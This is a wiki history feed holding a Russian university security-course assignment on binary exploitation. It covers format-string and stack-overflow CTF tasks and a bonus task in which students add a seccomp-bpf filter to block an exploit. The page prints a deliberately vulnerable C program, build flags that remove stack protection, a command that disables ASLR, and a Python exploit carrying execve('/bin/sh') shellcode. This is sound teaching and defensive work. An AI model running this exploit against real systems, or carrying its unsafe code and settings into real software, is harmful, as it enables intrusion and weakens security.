<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="ru">
	<id>https://wikicshse.ru/index.php?action=history&amp;feed=atom&amp;title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2017%2F%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3</id>
	<title>Безопасность компьютерных систем 2017/Задание 3 - История изменений</title>
	<link rel="self" type="application/atom+xml" href="https://wikicshse.ru/index.php?action=history&amp;feed=atom&amp;title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2017%2F%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3"/>
	<link rel="alternate" type="text/html" href="https://wikicshse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2017/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;action=history"/>
	<updated>2026-06-06T13:55:33Z</updated>
	<subtitle>История изменений этой страницы в вики</subtitle>
	<generator>MediaWiki 1.45.3</generator>
	<entry>
		<id>https://wikicshse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2017/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=2011&amp;oldid=prev</id>
		<title>imported&gt;Gamajun: /* Задача */</title>
		<link rel="alternate" type="text/html" href="https://wikicshse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2017/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_3&amp;diff=2011&amp;oldid=prev"/>
		<updated>2017-12-15T18:30:59Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;Задача&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Новая страница&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== Задание по теме &amp;quot;Бинарные уязвимости&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
Задание будет состоять из двух частей:&lt;br /&gt;
&lt;br /&gt;
==== Format string ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этого задания Вам необходимо добиться печати строки бинарём &amp;quot;Congratulation! You have solved level 1&amp;quot; в stdout. Решением является код эксплойта.&lt;br /&gt;
&lt;br /&gt;
==== Stack buffer overflow ====&lt;br /&gt;
&lt;br /&gt;
Для выполнения этого задания вам необходимо прочитать содержимое файла &amp;quot;flag.txt&amp;quot;. Решением является содержимое этого файла и код эксплойта.&lt;br /&gt;
&lt;br /&gt;
==== Файлы заданий ====&lt;br /&gt;
&lt;br /&gt;
Файлы заданий можно взять тут: [https://yadi.sk/d/CIgYv1Ne3PqgB5]. Само задание развёрнуто на bykvaadm.ru:12032.&lt;br /&gt;
&lt;br /&gt;
==== Баллы ====&lt;br /&gt;
&lt;br /&gt;
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать 2 балла.&lt;br /&gt;
&lt;br /&gt;
==== Дедлайн ====&lt;br /&gt;
&lt;br /&gt;
18.12.2017 включительно.&lt;br /&gt;
&lt;br /&gt;
==== Сдача решений ====&lt;br /&gt;
&lt;br /&gt;
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK.&lt;br /&gt;
&lt;br /&gt;
==== Обновление ====&lt;br /&gt;
&lt;br /&gt;
10.12.2017 - в задание была добавлена бонусная часть, за которую можно получить дополнительный балл.&lt;br /&gt;
&lt;br /&gt;
==== Поломка заданий ====&lt;br /&gt;
&lt;br /&gt;
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне, моя почта michail.vms@yandex.ru.&lt;br /&gt;
&lt;br /&gt;
== Бонусное задание по SECCOMP ==&lt;br /&gt;
&lt;br /&gt;
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.&lt;br /&gt;
&lt;br /&gt;
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).&lt;br /&gt;
==== Программа ====&lt;br /&gt;
   #include &amp;lt;string.h&amp;gt;&lt;br /&gt;
   #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
   int badcpy(char *str) {&lt;br /&gt;
        register int i asm(&amp;quot;esp&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;$esp = %#010x\n&amp;quot;, i);&lt;br /&gt;
        char buffer[100];&lt;br /&gt;
        strcpy(buffer, str);&lt;br /&gt;
   }&lt;br /&gt;
   void main(int argc, char *argv[]) {&lt;br /&gt;
        badcpy(argv[1]);&lt;br /&gt;
        printf(&amp;quot;Done!\n&amp;quot;);&lt;br /&gt;
   }&lt;br /&gt;
&lt;br /&gt;
Собираем без stack-protector и включаем execstack:&lt;br /&gt;
&lt;br /&gt;
   gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c&lt;br /&gt;
&lt;br /&gt;
Отключаем ASLR:&lt;br /&gt;
&lt;br /&gt;
   echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&lt;br /&gt;
==== Эксплойт (gensploit.py) ====&lt;br /&gt;
&lt;br /&gt;
   #!/usr/bin/python&lt;br /&gt;
   nopsled = &amp;#039;\x90&amp;#039; * 64&lt;br /&gt;
   shellcode = (&lt;br /&gt;
   &amp;#039;\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2&amp;#039; +&lt;br /&gt;
   &amp;#039;\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89&amp;#039; +&lt;br /&gt;
   &amp;#039;\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80&amp;#039;&lt;br /&gt;
   )&lt;br /&gt;
   padding = &amp;#039;A&amp;#039; * (112 - 64 - 32)&lt;br /&gt;
   eip = &amp;#039;\xa0\xda\xff\xff&amp;#039;&lt;br /&gt;
   print nopsled + shellcode + padding + eip&lt;br /&gt;
&lt;br /&gt;
==== Задача ====&lt;br /&gt;
Сначала заставьте переполнение работать.&lt;br /&gt;
stack нужно передать шеллкод в качестве параметра командной строки.&lt;br /&gt;
&lt;br /&gt;
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса &amp;quot;eip =&amp;quot; в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.&lt;br /&gt;
&lt;br /&gt;
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).&lt;br /&gt;
&lt;br /&gt;
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).&lt;br /&gt;
&lt;br /&gt;
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.&lt;br /&gt;
&lt;br /&gt;
Задание весит &amp;#039;&amp;#039;&amp;#039;1&amp;#039;&amp;#039;&amp;#039; балл.&lt;br /&gt;
&lt;br /&gt;
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё &amp;#039;&amp;#039;&amp;#039;0.25&amp;#039;&amp;#039;&amp;#039; балла.&lt;/div&gt;</summary>
		<author><name>imported&gt;Gamajun</name></author>
	</entry>
</feed>